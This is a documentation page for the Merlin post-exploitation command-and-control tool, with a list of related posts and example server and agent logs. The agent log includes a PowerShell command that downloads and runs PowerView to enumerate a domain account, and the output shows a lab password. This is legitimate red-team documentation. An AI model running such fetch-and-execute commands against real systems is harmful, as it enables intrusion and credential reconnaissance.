This page is used to catalog blog posts about Merlin
Posts by Ne0nd0g¶
- Practical Approach to Detecting and Preventing Web Application Attacks over HTTP/2- A SANS Master’s Degree Presentation
- Introducing Merlin — A cross-platform post-exploitation HTTP/2 Command & Control Tool
- Merlin Adds Support for the QUIC protocol
- Merlin 💖 JavaScript — All up in Your Browsers
- Merlin Adds Module Support
- Merlin v0.1.4 Released — Menus &Modules
- Merlin Adds DLL Agent & PowerShell Invoke-Merlin Script
- Merlin v0.6.0 Beta Released
- Merlin v0.7.0 Release & Roll-up
- Merlin Goes OPAQUE for Key Exchange
- Merlin v0.8.0 Released
External Posts¶
Appearances¶
- The Hacker Playbook 3: Practical Guide To Penetration Testing
- B Sides Knoxville 2018
- Black Hat Arsenal 2018
- HackTheBox - Rabbit by @ippsec
- HackTheBox - Bounty by @ippsec
- Merlin - Post Exploitation over HTTP / 2 (Part1) GERMAN - English
- Merlin - Post Exploitation over HTTP / 2 (Part 2) GERMAN - English
- An MS Office backdoor with Merlin GERMAN - (English) * MS-Office Backdoor with Merlin - YouTube Video
Tweets¶
Logging¶
Server¶
Merlin creates a log of server activities that are saved at data/log/merlinServerLog.txt
.
An example of the server log file:
[2017-12-17 03:25:31.601752218 +0000 UTC m=+0.001463384]Starting Merlin Server
[2017-12-17 03:25:31.609125184 +0000 UTC m=+0.008836420]Starting HTTP/2 Listener
[2017-12-17 03:25:31.609148289 +0000 UTC m=+0.008859410]Address: 0.0.0.0:443/
[2017-12-17 03:25:31.609156804 +0000 UTC m=+0.008867860]x.509 Certificate /opt/merlin/data/x509/server.crt
[2017-12-17 03:25:31.609163552 +0000 UTC m=+0.008874620]x.509 Key /opt/merlin/data/x509/server.key
[2017-12-17 03:26:07.101079056 +0000 UTC m=+35.500790466]Received new agent checkin from 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:26:11.560452462 +0000 UTC m=+39.960164571]Received new agent checkin from 6e5e8a3b-42fd-4129-8f02-be04b935d252
[2017-12-17 03:26:18.078416725 +0000 UTC m=+46.478128025]Received new agent checkin from 13c8bd9b-dc8e-4fa9-83d0-58c7cff8903d
[2017-12-17 03:30:58.634935594 +0000 UTC m=+327.034647953]Shutting down Merlin Server due to user input
Agent¶
When an agent checks in to Merlin, a directory is created for it based on the Agent’s UUID in the data/agents
directory. A log file of agent activity is created in the new directory in the agent_log.txt
file.
An example of the data/agents/209342db-ce7c-49e8-883f-0ee4da7d266d/agent_log.txt
file:
[2017-12-17 03:26:07.10226105 +0000 UTC m=+35.501972326]Initial check in for agent 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:26:07.10246555 +0000 UTC m=+35.502176856]Platform: windows
[2017-12-17 03:26:07.10249271 +0000 UTC m=+35.502203956]Architecture: amd64
[2017-12-17 03:26:07.10256092 +0000 UTC m=+35.502272320]HostName: WIN10
[2017-12-17 03:26:07.102590307 +0000 UTC m=+35.502301630]UserName: XCALIBUR\dade
[2017-12-17 03:26:07.102640064 +0000 UTC m=+35.502351353]UserGUID: S-1-5-21-4268310007-4003891068-3852045410-513
[2017-12-17 03:26:07.10265651 +0000 UTC m=+35.502367750]Process ID: 2776
[2017-12-17 03:26:07.132149253 +0000 UTC m=+35.531861089]Processing AgentInfo message:
Agent Version: 0.1.3
Agent Build: 6a1723b180583deff56b41a9d2a283244837b611
Agent waitTime: 30s
Agent paddingMax: 4096
Agent maxRetry: 7
Agent failedCheckin: 0
[2017-12-17 03:26:37.254087469 +0000 UTC m=+65.653799302]Agent status check in
[2017-12-17 03:27:07.395670309 +0000 UTC m=+95.795382065]Agent status check in
[2017-12-17 03:27:37.533895458 +0000 UTC m=+125.933607084]Agent status check in
[2017-12-17 03:27:37.537462734 +0000 UTC m=+125.937175076]Command Type: control
[2017-12-17 03:27:37.537593821 +0000 UTC m=+125.937305610]Command: [sleep 13s]
[2017-12-17 03:27:37.537786944 +0000 UTC m=+125.937498617]Created job vPIDreMwkF for agent 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:27:37.571990967 +0000 UTC m=+125.971702752]Processing AgentInfo message:
Agent Version: 0.1.3
Agent Build: 6a1723b180583deff56b41a9d2a283244837b611
Agent waitTime: 13s
Agent paddingMax: 4096
Agent maxRetry: 7
Agent failedCheckin: 0
[2017-12-17 03:27:50.69824483 +0000 UTC m=+139.097956473]Agent status check in
[2017-12-17 03:28:03.822906318 +0000 UTC m=+152.222618134]Agent status check in
[2017-12-17 03:28:03.824745772 +0000 UTC m=+152.224457054]Command Type: cmd
[2017-12-17 03:28:03.824787835 +0000 UTC m=+152.224499144]Command: [powershell "Get-NetAdapter|fl"]
[2017-12-17 03:28:03.824874938 +0000 UTC m=+152.224586324]Created job cwDwWifPqR for agent 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:28:06.474940051 +0000 UTC m=+154.874651976]Results for job: cwDwWifPqR
[2017-12-17 03:28:06.478391949 +0000 UTC m=+154.878103211]Command Results (stdout):
Name : Ethernet0
InterfaceDescription : Intel(R) 82574L Gigabit Network Connection
InterfaceIndex : 9
MacAddress : 00-0C-29-96-04-66
MediaType : 802.3
PhysicalMediaType : 802.3
InterfaceOperationalStatus : Up
AdminStatus : Up
LinkSpeed(Gbps) : 1
MediaConnectionState : Connected
ConnectorPresent : True
DriverInformation : Driver Date 2016-04-05 Version 12.15.22.6 NDIS 6.30
[2017-12-17 03:28:19.614829305 +0000 UTC m=+168.014540881]Agent status check in
[2017-12-17 03:28:32.748204051 +0000 UTC m=+181.147915670]Agent status check in
[2017-12-17 03:28:32.750120781 +0000 UTC m=+181.149832134]Command Type: cmd
[2017-12-17 03:28:32.750162232 +0000 UTC m=+181.149873581]Command: [powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetUser -Username dade"]
[2017-12-17 03:28:32.750301452 +0000 UTC m=+181.150012674]Created job GMKxTcvWhH for agent 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:28:35.105745057 +0000 UTC m=+183.505457853]Results for job: GMKxTcvWhH
[2017-12-17 03:28:35.108203423 +0000 UTC m=+183.507915165]Command Results (stdout):
logoncount : 12
badpasswordtime : 12/10/2017 9:08:24 AM
description : Intentionally Vulnerable;Password: Winter2017
distinguishedname : CN=Dade D. Murphy,CN=Users,DC=xcalibur,DC=io
objectclass : {top, person, organizationalPerson, user}
dscorepropagationdata : 1/1/1601 12:00:00 AM
displayname : Dade D. Murphy
lastlogontimestamp : 12/10/2017 9:14:44 AM
userprincipalname : dade@xcalibur.io
name : Dade D. Murphy
primarygroupid : 513
objectsid : S-1-5-21-4268310007-4003891068-3852045410-1116
samaccountname : dade
lastlogon : 12/16/2017 6:19:58 PM
codepage : 0
samaccounttype : 805306368
whenchanged : 12/10/2017 5:14:44 PM
accountexpires : 9223372036854775807
cn : Dade D. Murphy
adspath : LDAP://CN=Dade D. Murphy,CN=Users,DC=xcalibur,DC=io
instancetype : 4
objectguid : 662a2b05-8397-41d4-bfdb-b0bd6df3615b
sn : Murphy
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=xcalibur,DC=io
initials : D
givenname : Dade
whencreated : 10/6/2017 12:21:27 AM
badpwdcount : 0
useraccountcontrol : 66048
usncreated : 12889
countrycode : 0
pwdlastset : 10/5/2017 5:21:27 PM
msds-supportedencryptiontypes : 0
usnchanged : 20645
[2017-12-17 03:28:48.250330562 +0000 UTC m=+196.650042428]Agent status check in
[2017-12-17 03:29:01.387319268 +0000 UTC m=+209.787031394]Agent status check in
[2017-12-17 03:29:14.519431017 +0000 UTC m=+222.919142466]Agent status check in
[2017-12-17 03:29:27.640031072 +0000 UTC m=+236.039742618]Agent status check in
[2017-12-17 03:29:40.75826363 +0000 UTC m=+249.157975111]Agent status check in
[2017-12-17 03:29:53.90008421 +0000 UTC m=+262.299796006]Agent status check in
[2017-12-17 03:30:07.04774827 +0000 UTC m=+275.447460262]Agent status check in
[2017-12-17 03:30:20.178747286 +0000 UTC m=+288.578458632]Agent status check in
[2017-12-17 03:30:33.306429632 +0000 UTC m=+301.706141394]Agent status check in
[2017-12-17 03:30:46.426827382 +0000 UTC m=+314.826539174]Agent status check in
[2017-12-17 03:30:46.428641549 +0000 UTC m=+314.828352838]Command Type: kill
[2017-12-17 03:30:46.428684456 +0000 UTC m=+314.828395838]Command: []
[2017-12-17 03:30:46.428732519 +0000 UTC m=+314.828443952]Created job yRZdBkCXAf for agent 209342db-ce7c-49e8-883f-0ee4da7d266d